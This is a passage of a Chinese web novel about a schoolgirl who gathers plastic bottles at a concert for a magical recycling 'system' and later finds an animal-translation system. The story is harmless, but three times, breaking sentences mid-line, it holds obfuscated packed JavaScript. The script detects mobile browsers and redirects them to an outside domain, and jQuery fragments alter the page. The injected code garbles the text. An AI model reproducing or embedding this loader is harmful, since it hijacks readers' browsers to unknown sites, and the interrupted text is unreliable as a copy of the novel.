刘菁几人去了洗手间，吴琦月和苏宁宁趁着机会展开第二轮“塑料瓶回收计划”。 这次塑料瓶收集速度比演唱会开始前快很多，吴琦月和苏宁宁分开收集，没跑几个区域就装满了，两人有说有笑，按照计划去保安室存放瓶子。 然后她俩在保安室门口被截胡了。 一位眼生的保洁阿姨拉住她们的塑料袋不让离开，紧接着两名保安过来调解状况。 “这两个人偷我们的瓶子！”保洁阿姨不肯松手，力气大到将塑料袋扯出一道口子。 “胡说，这瓶子我们自己捡的，是你颠倒黑白！”吴琦月不明白人与人的差别怎么这么大，上一个保洁阿姨比她明事理多了：“阿姨你动作别这么粗鲁，袋子都要被你扯烂了！” “就是偷的，你看这塑料袋是我们保洁单位派发的，你俩要不是偷的怎么拿到手？小小年纪不学好，满嘴谎言！”保洁阿姨丝毫不让步，加上她嗓门大，这些没发生过的事情被她说得煞有其事似的。 两方人马拔河一样将满是瓶子的塑料袋扯得要裂开，苏宁宁气得骂人： “阿姨你不知道实情就不要乱说，塑料袋明明是你同事给我们用的，她说可以把瓶子带走，而且我们回收瓶子的过程可有看台上的观众亲眼见证的，所以你才是偷东西的人，你不要脸！” “别扯了，你们先松手，不管是不是真的，谁给你们袋子，你们叫她过来给证明就行了。”没想到这俩保安居然帮着保洁阿姨说话，吴琦月很气愤： “现场保洁人员这么多，我们上哪找去？保安大哥你们什么都不知道凭什么拉偏架啊！” 几人争吵引起群众围观，这时有个男人从人群后面挤进来，西装革履的打扮，问这里出了什么事。 保安和保洁都认识他，他是这次演唱会的负责人。负责人手里电话此刻还在响个不停，他好不容易挤出时间上趟厕所，结果一出来又有新的矛盾等他解决。 了解前因后果之后，负责人看了眼满脸委屈的女孩们，去劝保洁阿姨：“就几个瓶子，给她们就是了，有什么好抢的？” 保洁阿姨像是听到了天大的笑话：“什么几个瓶子，你不是和我们说好的现场留下来，凡事能卖钱的都归我们所有吗？现在反悔几个意思，当我们年纪大好欺负？” 负责人想起来之前的承诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880434|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“哦哦你是王姐那边派来的阿姨，我事情太多忘记了不好意思，呃你直接拿走好了，几个瓶子而已。” “那我们怎么办呢？”这下吴琦月不乐意了，你想拿去卖可以自己捡啊，哪有白拿的道理？ 这群大人好下头。 负责人回着电话，表情略显不耐烦：“小妹妹，我现在忙得不得了，你们就不要添乱了好吗，两袋塑料瓶一共没几个钱，你们回家找爸妈要也是一样的，再说课外作业哪里用得了这么多塑料瓶，你们回家随便捡几个应付一下不可以吗，脑子机灵一点，变通一些喂喂好的好的我马上过去……” “今天够乱了，你们把瓶子给阿姨，乖乖回去看演唱会，好吗，求求了。”负责人说完，下巴一抬示意保安尽快处理，接着头也不回地离开。 保洁阿姨得意极了，她用力拍掉吴琦月的手，吴琦月吃痛松开手，塑料袋就这么被阿姨抢走。 没戏可看，围观的群众慢慢散开，保安把两人带出后台，也只能安慰：“演唱会休息时间快结束了，接下来还有很多好听的歌，你们别太伤心了。” 哪里伤心，明明是生气！吴琦月拽着苏宁宁爬上看台，两人都没说话。 “苏宁宁你们两个怎么现在才回来？我一直打电话发信息你们都没注意到吗，一个回应都没有，我很担心你们知不知道！”刘菁看见她俩状态像蔫了的茄子，语气不由放缓，还有很多质问都没说出口。 苏宁宁吸一下鼻子，掏出手机，看到好几个来自刘菁的未接来电，眼眶酸酸的，止不住几滴眼泪啪嗒啪嗒砸在手机屏幕上。 “哎呀我的天怎么了这是，谁欺负你们了？”同行的短头发姐姐见状从包里拿出纸巾给苏宁宁擦眼泪，然后转头劝刘菁：“这不是安全回来了嘛，好好说话，都别生气好不好？” “我是担心她俩出事，刚才一层看台有人摔水瓶吵架，一群人差一点打起来，然后还有人不小心踩到瓶子摔跤的，担架我都看到了，布上还有血呢，结果我发信息打电话愣是一个回复都没有，我都快吓死了！” “好啦好啦，你俩看着没受外伤就万事大吉阿弥陀佛，所以到底发生了什么事情，和我们讲讲好吗？”姐姐哄完苏宁宁哄刘菁：“刘菁大人息怒，先听听妹妹们怎么说。” 毕竟年纪还小，这种被人冤枉的经历不多，苏宁宁哭到哽咽，吴琦月只好代替她把保安室门口发生的事情说出来。 “负责人确实太和稀泥了，但是像这种规模的演唱会，瓶子废纸都有专门的人整理回收。” “是啊你们看，那边看台下卖高价水的老板也在收集塑料瓶，而且用的还是保洁发的塑料袋，根本没人管嘛。他也许和你们口中所谓王姐是一伙的，你们刚才在他眼皮子底下大喇喇收集塑料瓶，估计让他觉得你们在挑衅，他气不过所以叫保洁阿姨堵你们。” “有必要为了几个瓶子为难俩小姑娘吗？”刘菁不理解：“先不说一个瓶子才一分钱，凭什么他们这么霸道把观众带进来的瓶子都占为己有？这后勤部门真小气！” ”你们看，有个保洁阿姨提着袋子过去卖水老板那了，不会这么巧就是你们辛苦收集的那两袋塑料瓶吧……” 吴琦月顺着姐姐手指方向看去，一眼认出来：“就是她！” “算了算了，吃一堑长一智，以后再发生这种事情要记得喊大人来帮忙。” 吴琦月远远看到保洁阿姨和卖水老板有说有笑，还把两个塑料袋里的瓶子倒进收集箱里，气得牙痒痒。 等着，我一定把瓶子拿回来！ 8. 第八章 “今天突发情况太多了，现在离演唱会结束还有两小时，我记得等会还有歌迷互动环节，要是选上了还送签名专辑呢！我来之前又是求神又是拜佛的，都说这次抽签肯定轮得到我，你们调整调整心情，准备迎接我的好消息！” 刘菁接过话茬：“千分之一的概率呢，要是你能中签，下一顿大餐我请客。” 苏宁宁听到吃大餐也不哭了：“那我还能去吗小姨……” “去啊，我们在场六个人，不管谁中奖了都算。”刘菁握着苏宁宁的手：“不过签名专辑得归我。” 六人小团队终于活跃起来，即使大家心知肚明这么低的抽奖概率不会轮到自己，但吴琦月的注意力成功从抢回瓶子到舞台抽奖环节上。 演唱会继续，卓宇换了一套新衣服上台。 现场响起动感的旋律，工作人员从舞台后方端着一个抽签箱上来。 “接下来是一个互动游戏，我们的歌手卓宇会从抽签箱里抽九个幸运观众上台，然后——”主持人举起手中的小卡片：“我手上有一些关于卓宇的题目，九位观众各选择一个题目进行回答，只要回答正确，就能获得卓宇签名专辑一份！” 台下响起欢呼声。 “我看到有些朋友已经在闭眼祈祷了，放心会轮到你的；还有的默默打开了手机，我怎么发现的，屏幕光都印在脸上了朋友！真的不难，很简单很基础的问题，熟悉卓宇的观众们一定知道答案！” 主持人亲切有趣，一下把现场气氛带动起来。 “抽签结果出来了，让我们看看都是哪些幸运儿——102区36号观众，109区28号观众……”主持人一一念出抽签纸上的号数，吴琦月所在的第三层看台只抽中两个人，好巧不巧一个306区一个308区，刚好略过307。 “好可惜，我们差一点就中奖了。”话这么说，可刘菁却没有不高兴，反而兴致盎然：“不过没上台也能回答问题啊，我们来比赛，看谁答对的题目又快又多！” 闲着也是闲着，几个人聚精会神等主持人公开题目。 “第一个问题，歌手卓宇哪一年出道？” “04。”“我也觉得04，他出道六年了。”刘菁和她朋友抢答问题，而吴琦月苏宁宁才第一天当上粉丝，两人上网搜索答案，“还真是04年，小姨你记性太好了吧！” “嗯哼～” 舞台上的幸运观众思考片刻，也回答了04年出道。主持人恭喜她回答正确，而卓宇给这位幸运观众一个拥抱，再亲手递给她一张签名专辑。 “可恶啊怎么还有拥抱，好亏，为什么站在台上的不是我——” 接下来的问题都如主持人说的一样，只要熟悉卓宇都能答出来：开演唱会的次数、出了几张专辑、第一首歌叫什么名字…… 吴琦月一边听问题一边搜答案，手指滑动屏幕，网页却突然给她推荐了卓宇的新闻黑料： 出言不逊，深夜泡吧，烟酒不忌……吴琦月皱着眉头点开，页面弹出几张灰蒙蒙的照片，一看就是娱记们的杰作。 图片里的卓宇左拥右抱，一副吊儿郎当的样子。吴琦月抬头看着舞台上站姿挺拔的卓宇，心想这真的是同一个人吗？ 也许是拍错了吧。吴琦月低着头继续搜索卓宇的资料。 “吴琦月你看到了吗，太尴尬了，真的有人回答不上来问题……”苏宁宁拍拍吴琦月的腿，后者瞟了一眼舞台，发现无论是主持人还是回答问题的女生，亦或者是手里拿着专辑准备送出去的卓宇，三人都面露尴尬，陷入短暂的沉默。 观众们也嘘声一片。 吴琦月来了兴致：“什么问题，说说看？” “说出卓宇三首歌的名字。” 这还不简单，演唱会入场前姐姐们都给她科普过一遍呢。吴琦月信手拈来：“《无名花》《信仰》《黎明来的信》《幻想爱情》……” 同行的姐姐们都觉得台上的女生很离谱：“就是说啊，她还没你厉害呢，站在台上这么久一个对的歌名都说不出来。” 女生没有回答问题，最后被主持人委婉送下舞台。舞台灯追随女生背影，还没来得及移开，一只装着水的瓶子就扔到她身上。瓶子里的水撒了她一身，女生吓得瘫坐在地，接着又有几个带着水的瓶子扔到她跟前。 保安吹哨阻止恶行，场内一片哗然，大家都离开座位想要围观，主持人在舞台上维持秩序但是没人搭理他。 舞台灯早就撤离了，安保人员驱赶围观群众，负责人第一时间到达现场，他想扶女生起来，可惜女生被吓哭，双腿发软无法站立。 卓宇的经纪人匆匆赶来，确认女生并无大碍后巡视看台的每一个观众，试图从中找出幕后黑手，但毫无收获。 这次事故很容易被定性为是卓宇的极端粉丝在恶意霸凌普通观众，卓宇的极端粉丝有多疯他是见识过的，追车，堵酒店门送威胁信等等等等，都能出书了！但是卓宇本身黑料够多，公司压都压不完，如果不是他长得好看声音好听，娱乐圈早就查无此人了。 现场乱成一锅粥，有的人夹缝拍照记录现场，经纪人心里大写一个“危”。 今晚这次事故必须安全解决，他可不想明天一睁眼就是八九十页负面通稿啪啪扇脸。 “怎么又是你们两个，捡瓶子捡到这来了？” 瓶子瓶子又是瓶子！经纪人听见瓶子就头疼，转身问责负责人：“我十五分钟前不是通知你，要你想办法把现场的瓶子全部收起来吗？今晚人这么多，你扔一个他扔一个，都发生多少次意外事故了？” 负责人解释：“在收了，因为人太多收得慢，加上观众不怎么配合，这件事实在是难度系数太高，而且原本清洁是要等到演唱会散场之后才开始做的，所以预定的垃圾车没这么快到，现在收集这么多垃圾放哪都成问题，实在是不好意思……” “我不管，演唱会还有一个多小时才结束，我再也不希望看到因为瓶子引发的受伤事件，你赶紧找人把瓶子全部扔掉，做不到就给我滚蛋，以后都不会和你们合作了！” 一旁与负责人纠缠的吴琦月听到这话，脑筋一转：“我能带走，所有的塑料瓶我都能带走！” “你谁啊？” 吴琦月推开负责人，走到经纪人跟前自荐：“我们学校最近开展一个回收塑料瓶的活动，需要用到大量的瓶子，刚好今天我来参加我偶像的演唱会。” “这里瓶子超级多，但是你也看到了，人多的地方，瓶子不及时处理会惹出多大麻烦。可是我力量小，没办法宣传活动，哪怕牺牲中场休息的时间也捡不到多少瓶子。” “你偶像，你也是卓宇的粉丝？”经纪人不敢相信，卓宇黑料满身的人居然还有这么善良的粉丝吗？ “对，我和我朋友打算演唱会开始前在门口做宣传的，但是效果不好，我觉得是我们人太少了。”吴琦月张嘴就来，说得她自己都信了。 “啊，是这样的，我们人太少了，没办法给卓宇哥哥做好事。”苏宁宁搭腔。 “不不不，是因为你们没用对人，你们缺少一个有号召力的人给你们宣传。”经纪人脑海里已经有个绝赞的解决办法，可他对这两位小女生不太信任，又问：“我可以帮你们宣传，只是瓶子这么多，又没地方放，你们要怎么带走？” “看台后方有个上了锁的杂物间，瓶子可以暂时存放在那里，等演唱会结束我就能带走。” 负责人阻止：“杂物间很小，根本放不进这么多塑料瓶。” “肯定放得进，我们收集瓶子比你们有经验多了！”苏宁宁又说：“我们也是想为卓宇哥哥做点好事呀。” “就按你们说的做，那谁，你叫人把杂物间打开，然后安排保洁部门的人穿上马甲拿着袋子在每一个区等待就位，早点把这些该死的塑料瓶收起来，不要再出现我的视野里！” …… 过了十分钟，现场逐渐安静下来，卓宇得到经纪人的提示，站在舞台中央发表演讲。 “我的工作人员刚刚和我说，他们没有找到乱扔瓶子的人。 “其实在开场半小时的时候，就是我唱错词，还跑调的那几分钟，我注意到看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880435|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台那边，有些人很嚣张，水瓶，这样举起来乱甩，瓶子又不盖好，水都甩到周围人身上了。前面的观众，特别是女观众妆发都花了，这是很不礼貌的行为。 “然后我一边唱一边给他们眼神，几首歌过去，他们还这样，屡教不改，现在还扔到那位可怜的女生身上，真的让我很恼火。” 经纪人一边教卓宇演讲，一边注意观众的表情。 他把卓宇今晚的演唱失误归结于这些小插曲身上，而事实到底是不是这样，卓宇说的人存不存在根本不重要。只要能来参加演唱会的，大部分都偏心卓宇，大家现在都知道演唱会效果不好不是因为卓宇的能力不行，而是因为有黑粉故意捣乱，破坏她们的体验，这就够了。 “我相信那位歌迷妹妹是因为太紧张了所以没有回答上来，这不是你们欺负她的理由。 “我拜托我的工作人员们，他们现在应该在你们附近，对，穿着比较显眼的马甲，他们手里拿着袋子，我希望你们把喝完的水瓶扔进去。 “我希望大家开开心心听我唱歌，然后——你们互相监督看哪个不听话的，那一定是偷偷扔水瓶的家伙，把他赶出去。” “下一首歌是《想念的人，想念的事》，前奏很长，我们一起享受。” 吴琦月在看台一层都听呆了，这人怎么比我还能编？ 不过还真别说，不愧是偶像效应，卓宇这番演讲之后，观众们明显配合多了，吴琦月远远看到几位工作人员拖着慢慢的袋子过来，她就跑去杂物间里做准备。 她和苏宁宁分工合作，把杂物间里的物品堆在一起遮住窗户，然后苏宁宁在门口守着，把一袋袋塑料瓶往里送，吴琦月负责打开袋子倒出来，迅速进行回收，演唱会音响声盖过系统音，非常安全。 只是瓶子质量参差不齐，忙活了半小时，系统回收量才勉强超过三千，吴琦月把地上不能回收的瓶子重新装起来，放在一边。 苏宁宁在门口急得敲门：“好了没，我小姨要过来兴师问罪大开杀戒了！” 吴琦月正好收拾完，把杂物间门打开：“搞定！” 杂物间里堆叠着十多袋塑料瓶，苏宁宁有些肉痛：“这么多都不能回收吗？” “装起来的时候估计太暴力了，有近四分之一回收不了。” 苏宁宁进杂物间把挤在一起的袋子分开摆放，东一袋西一袋的，室内一下变得拥挤起来：“这样才好看，演唱会刚刚结束，卖水的那一伙人在外面一直盯着我们看呢，这些回收不了的瓶子干脆送给他们得了，省得他们找麻烦。” 话刚说完，经纪人就走进来。 “你们还没离开真是太好了，谢谢你们学校组织的这个回收活动，真是个好学校，帮了我们大忙。是这样的，过一会儿呢卓宇会来这里和你们还有辛苦一晚的工作人员拍张合照，能上报纸那种，不知道你们愿不愿意？” “苏宁宁！” “完蛋了，小姨好像很生气。”苏宁宁打了个哆嗦，她看见刘菁火急火燎赶过来。 经纪人擅于察言观色，主动出手拦住刘菁：“还请不要生气，她们两位帮了我大忙，不过既然你们是一起的，不如一会儿和我们卓宇拍张合照？” 我刚刚听到了什么？刘菁表情从愤怒变为惊喜，她重复经纪人的话：“合照？和谁？卓宇？是我认识的那位卓宇？” 刘菁还在消化信息，卓宇就被工作人员簇拥着走进杂物间，杂物间里人很多很闷还很脏，他心底厌恶却不能表现出来。 杂物间里人机人挤人，拍完照后，刘菁找卓宇要签名，卓宇没有拒绝。 剩余的瓶子给保洁阿姨带走了，卖水的老板还亲自感谢吴琦月几人。这次收获颇丰，吴琦月放松下来，感觉又饿又困，只想赶紧回家。 回到家已经十二点，黑漆漆的客厅里只有爸爸吴江在等她，妈妈李素梅已经睡下，时不时传来咳嗽声。 吴琦月简单吃了饭，洗了澡，回卧室准备关门时，她听见客厅里传来吴江的说话声： “你什么时候有钱还我，我现在真的急着用。” 9. 第九章 系统屏幕右上角显示余额：339.70，屏幕中央塑料瓶上标着数字3396，瓶子下方几行字依次是： 当前兑换率□□1：0.1 当前回收量□□3396/10000 下阶段兑换率□□1：1 塑料瓶里的水在轻轻晃动，吴琦月盯着波浪线条在走神。 她关上卧室门没多久，爸爸吴江就回房间睡下，家里又静又黑，仿佛有看不见的怪兽在蚕食这个家。 吴琦月有些在意吴江的话。 着急用钱，家里已经困难到需要用“着急”二字的地步了？ 作为家庭成员的一份子，吴琦月变得焦虑起来，人都是一样的，即使家里再不完美，也不希望它频频遭受打击。只是她年纪还小，空有一颗想要分担重任的心，却无能为力。 她发现虽然得到了这个神秘的回收系统，可以帮助她挣点零花钱解决燃眉之急，可是系统确实如评论所说的那样太费时间，哪怕天天回收三千个塑料瓶，等到系统消失之前也只能挣到三万块钱而已。 三万块钱够她用很久，但是能帮上家里的忙吗？吴琦月不得而知。 如果这种系统天天都能捡就好了，她很想给每位家庭成员绑定适合的系统，既然系统能解决她的问题，也一样能解决其他人的问题，爸爸找到工作，妈妈身体健康，大哥不再无所事事，二姐能顺利高考，如果每个人都能解决自己面临的问题，那这个家不就越来越好了吗？ 她以后应该多去垃圾存放站看看，说不定回收箱里又有新的系统可以用，最好能捡到一些出手大方的系统，因为现在家里“着急”用钱。 吴琦月又充满信心了，她躺在床上满意地翻了个身，开始复盘起今晚的行动。 她对演唱会上发生的事情仍然心有余悸，还好那时候现场够混乱，主办方够着急，没人注意到她话里的漏洞。 不过也正是因为她胆子够大，才得到超出预期的结果。本来计划散场后顶多能收集一千个塑料瓶，结果在散场前就能收集到三千多个瓶子，果然人多力量大，还有散场后和明星合照上报纸的意外惊喜，怎么想都是非常满意的结果。 她本来还想向嚣张的保洁阿姨和卖水的奸商大叔“复仇”的，可惜当时时间太晚大家又着急回家，所以放弃了，没有计较这些，不然她宁可把不能回收的瓶子全扔了也不留给她们。 手机显示苏宁宁发来信息，吴琦月在被窝里点开查看。 苏宁宁：【坏消息：小姨虽然得到了卓宇的签名但还是很生气，说以后不会带我出去玩了。】【好消息：也是因为小姨得到了卓宇的签名所以放过我们了，没把今晚发生的事情告诉妈妈。】 吴琦月十分心虚：【今晚真的对不起，连累到你们，还给你小姨留下一些非常不好的印象。】 苏宁宁：【哼你知道就好，以后要记得补偿我，哪天捡到新的好玩的系统要优先给我绑定过过瘾。】 吴琦月：【比如？】 苏宁宁：【绑定系统之后能使用魔法的，或者绑定系统之后能遇到五个男人为我争风吃醋的，啊啊啊想想就很激动！】 吴琦月被她逗笑了：【行，捡到了我肯定留给你体验。】 两人愉快地聊着天，不知不觉睡着了。 …… 第二天一早，吴琦月顶着黑眼圈出现在学校里，苏宁宁也没好到哪去，两人哈欠连连无精打采，直到班主任在课上宣布这周要进行期中考试，教室都要布置成考场，希望大家考前把书本装好统一堆放在教室后面。 “上周没考，我还以为取消了，怎么能是推迟啊？”吴琦月忍着困意翻书，看了没几行字就觉得累得不行，干脆趴课桌补觉。 老师在台上讲话，声音忽高忽低，却十分催眠，后桌同学朝她的凳腿踢了一脚，吴琦月睁眼抬头一看，和班主任四目相对。 谢谢，这下清醒了。 一边打瞌睡一边熬完上午四节课，就到了午饭时间。吴琦月在饭堂里吃了顿最便宜的白饭加青菜，青菜炒得冒油，菜叶边缘泛黄还有些腐烂。但眼下不是她挑剔的时候，家里经济状况糟糕到出乎意料，她想通过这种方式来减轻自己的负罪感。用筷子挑出实在不能下嘴的部分，剩下的饭菜她三下五除二全吃进肚子里。 吃完饭后，吴琦月站在教学楼下，打算把这栋楼的每一间教室都问一遍。 高一一共有十五个班，每个班50位学生，全在这一栋教学楼里，吴琦月是高一五班的，她先回班里问，结果一无所获，因为教室里安装了饮水机，同学们普遍使用水杯，很少用塑料瓶。 苏宁宁还带来一个坏消息，其实在上周，学校就明令禁止班里囤积废纸塑料瓶，占地方不说，还滋生细菌惹蚊子，太不卫生，要求全部处理扔掉，说会暗中检查，发现就扣分。 “理解一下，毕竟学校还规定垃圾桶里不能有垃圾，否则检查到还扣分呢。” 吴琦月并没有因此放弃扫楼，还是执意一一询问，按她的话来说，就是不问不做，什么都没有，去问去做，说不定会有惊喜发生。 的确有惊喜发生。 吴琦月连续扫了八间教室，不仅一个塑料瓶都没看到，教室里的同学还都如临大敌，把她当做学生会派来检查的卧底，一问有没有塑料瓶，各个头摇得拨浪鼓似的。 就这样走到高一九班门口，吴琦月有些气馁了，她没有进去询问，而是走到窗户边观察，九班教室里人很少，有个男生坐在窗户边的座位上看体育杂志。 吴琦月看准男生抬手翻页的动作，上前问：“同学你好，打扰了，我想问问你们有不用的塑料瓶吗？” 男生闻言抬头看向她，回答：“有。” “有多少，我可以都拿走吗？” 男生示意她在教室后门等，吴琦月看他从座位上站起来，走到教室后面翻找，然后拖出一个纸箱。 纸箱打开，里面全是矿泉水瓶子，大概有二十来个。 “你全拿走吧，不要钱。” 男生端着箱子站在教室后门，两人此时只隔着一个箱子的距离。吴琦月抬头看他，男生很高，目测比她高出一个头，身上穿的校服白净平整，模样眉清目秀的。 还挺好看的。 “谢谢，太谢谢你了。”吴琦月从男生手里接过箱子，又想走之前多和男生说几句话，就问：“同学，这些瓶子都是你自己囤的吗，保存得很好，每一个瓶子都很干净呢。” 强行聊天还找不到话题就很尴尬，吴琦月硬挤出笑容，祈祷男生会回答。 “这是上午体育课买的瓶装水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880436|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，大家一起喝的。” “原来是这样，真好，我前面去了八个班，结果一个塑料瓶都没有找到，还以为白忙一场。” 男生向她说明：“你不知道吗，现在学校检查很严格，教室里除了装书的纸箱之外，不能在角落堆放瓶子和废纸，被检查到要扣班级集体分的。等等，你不会就是——” 吴琦月看男生露出打量的神情，以为他要拿回箱子，急得她后退几步解释：“你误会了，大家都误会了，我不是来检查的，我单纯想捡点瓶子卖钱而已。” “那什么，时间不早了，我还要去下一个班问呢，谢谢你的瓶子啊！”吴琦月说完就想跑，丝毫不给男生拦截的机会。 “同学，瓶子可以拿走，纸箱我还有用啊！” 吴琦月没听见，一鼓作气跑回教室。 中午搭讪失败带来的阴影实在巨大，吴琦月一个下午都没有缓过神，导致心不在焉被老师点名批评。 苏宁宁也觉得吴琦月今天怪怪的，中午扫楼回来就抱着箱子不让看，一直坚持里面只是塑料瓶，别的什么也没有。 她还以为是扫楼效果不好，怕说出来遭笑，还安慰吴琦月：“你回家之前去垃圾存放站看看呗，一天昨天都没去，说不准和你描述的梦一样，有六大桶塑料瓶等着你呢。” 本来吴琦月是想在学校里找个安静的地方进行回收，奈何她在学校里转了两圈都找不到合适的地方，无论是哪都有暴露的风险，想来想去，也只有巷子里的垃圾存放站才安全。 当然啦，如果还能看到满满六大桶塑料瓶就更开心了。 于是放学后，她载着一箱子塑料瓶往巷子里赶。 虽然一天没见，但吴琦月对垃圾存放站有了很怀念的感觉，她把单车锁在门口，抱着箱子走进去，以为会和梦里一样，桶里装满瓶子。 只可惜空间里还保持着她离开前的样子，地上散落零星几个扁瓶子，垃圾桶空空如也。 果然好事不会天天有。吴琦月蹲在地上，打开箱子回收瓶子，看着系统面板上的余额变为342.10，回收量变成3420/10000。 她点开余额尝试提现，几次都没有成功。 眼下瓶子难找，提现遥遥无期。吴琦月叹了口气，把空箱子合上，却意外在箱子外侧看到有人写了字。 陈、千、星。 不会这么巧就是中午那位男生的名字吧。 吴琦月回忆起中午离开时，男生在她身后好像喊了什么，只是她当时着急跑路没听清。 她又想到，因为教室要布置成考场，有的人会拿纸箱装好个人物品堆放在教室后面，为了好区分，会在纸箱上写自己的名字。 ！！ 所以她不仅上课被点名，还因为搭讪失败，不小心顺走他要用的箱子……今天犯的错也太多了，吴琦月羞得无地自容，恨不得找个地缝钻进去。 天色渐晚，吴琦月端着纸箱走出门口，想起今天还没有检查系统回收箱，又折返回去。 她本来不抱希望的，却在打开盖子的时候发出一声惊呼。 系统回收箱里安安静静躺着一颗发光怪球。 太好了是新的系统！会有什么功能呢？绑定了能立刻闪现回学校吗？能不能替我把这个纸箱空降在他座位上啊！急！！ 10. 第十章 【尊敬的游客你好，这里是动物委托系统，用户绑定成功后，可以将听到的动物叫声转化为用户本土语言，若用户与动物进行友好互动，从中找出它们的诉求，并帮助它们解决，就能获得系统奖励。】 吴琦月面前浮现一块粉色电子屏幕，屏幕四周画满了不同动物的简笔画，很萌很治愈。 【系统使用说明： 一，系统绑定前任何人可见，绑定后仅用户可见。 二，用户绑定系统后可以随时解绑，不受约束。 三，本系统原用于研究不同动物语言，已收录上万种动物叫声，现被改造为动物委托系统，是希望每一位绑定系统的用户能体验与动物无障碍交流的机会。】 【是否绑定系统？是□否□】 “好简洁的系统介绍，这就没了？”吴琦月对着屏幕点来点去，因为没有绑定系统，所以好奇里面长什么样子。 “听懂动物说的话，然后找出动物诉求并解决。这不就是为苏宁宁量身定制的系统吗？”吴琦月托腮思考，虽然新系统不能闪现回学校帮她还纸箱，但这个系统功能还挺有趣的。 苏宁宁这几天可帮了她不少忙，还是她唯一的系统知情人，本着有福同享有难同当的原则，难得遇见这么合适的系统，不给她绑定就说不过去了。 吴琦月马上发信息给苏宁宁：【你回到家了吗？】【回收箱出现新系统，是你喜欢的类型，快来。】 对面几乎是秒回：【什么？我这就来，等我！】 没多久，苏宁宁火急火燎赶来垃圾存放站，一进门就问新系统在哪里，吴琦月指着两人都能看见的粉色屏幕，让系统重新播放一遍注意事项，接着屏幕弹出用户绑定提示框，可苏宁宁没有选择绑定。 “怎么了，你之前不是想要一个能获得神奇能力的系统吗？” “说实话，我有点害怕，公主奇幻电影看多了是会羡慕她们有和动物沟通的能力啦，但是现实世界里能听懂动物叫声会不会很奇怪啊，比如一绑定脑袋里就听见很多动物说人话，比如家里有蟑螂有蚊子老鼠，那我岂不是整晚都在听它们说话，觉都睡不了？”苏宁宁求助吴琦月：“我有点慌，要不你先绑定试用一下，我在旁边观察观察，反正它能随时解绑的，好不好～” “行，那我绑定了，帮你探探路。”吴琦月倒是无所谓，抬手就点了“是”，接着浮在苏宁宁眼前的粉色屏幕就消失了。 “怎么样，里面什么样子，你描述一下。” 【用户137658已绑定系统，祝你有愉快的体验。】 粉色屏幕刷新后，吴琦月缓缓发出一个“？” 这个系统界面过于简洁了吧！ 不仅没有余额标识，屏幕中央甚至没有任务框，只有一句话：“还未发现动物委托，请多留意。” 系统真的能使用吗？吴琦月心里没底，担心空欢喜一场。 看来看去，只在屏幕下方找到系统评论区，评分还挺高的，她松了口气，点开查看： 用户100733：【我室友说我很装。】赞167 用户089936：【很治愈，只是做任务的时候记得避开其他人，现在大家都以为我疯了，居然和一只鸟吵架。】赞366 用户075581：【我这里污染很严重，动物都要灭绝了，很难有接触的机会，真羡慕你们。】赞4729 用户050036：【动物智商不如人类，可它们是真能折腾我啊】赞16604 用户021180：【我绑定了五年，一共完成两千多次委托，大部分都是毛茸茸！超开心！其实动物们都很好懂的，谢谢你们陪我度过这段艰难时期！】赞37991 …… 吴琦月继续往下划，发现大家对系统各有各的看法，她把这些评论念给苏宁宁听。 “界面简陋但是评论听着还不错，那你的感受呢，脑子里有没有说话的声音？” 吴琦月摇摇头：“非常安静，什么声音都没有。” “你晚上出来吗？我知道有个地方有猫，我们可以试试。” …… 吴琦月回家吃完晚饭，借口出门散步。 她家附近有一颗大榕树，是小有名气的地标，树下有几张石凳，原先是为了方便路人停留歇脚，后来被几只流浪猫霸占。大榕树下的流浪猫天天刷新不重样，但脾气都很好，任人撸不挠人，久而久之，大家都习惯猫咪们的存在，夜晚散步经过大榕树都会顺手喂点吃的。 吴琦月走到大榕树下，苏宁宁已经在树下撸猫了。 “快过来，它们刚刚一直在喵喵叫，你翻译翻译。”苏宁宁挠挠其中一只猫猫头，再从头摸到尾巴根，流浪猫眯着眼，发出咕噜咕噜的声音，其余猫蹲在苏宁宁周围喵喵叫，尾巴轻轻扫石凳。 而这些声音传入吴琦月耳朵里却变成人的说话声。 【舒服，摸摸。】【巨人身上，小鱼干的味道。】【给她摸摸。】【给她摸摸，要小鱼干。】【摸摸不伸爪子，会跑。】【好饿，要小鱼干。】…… “你摸的那只猫说舒服，其余的猫闻到你身上有小鱼干的味道，想吃。” “鼻子真灵啊这些小猫咪。”苏宁宁停下撸猫的手，从口袋掏出一个密封袋，巴掌大小，里面装了大半袋小鱼干。 小鱼干一掏出来，香味更浓烈了，流浪猫们纷纷跳到苏宁宁腿上，有只猫没站稳掉在地上，干脆站起来用爪子勾着她的裤腿，生怕自己被忘记。 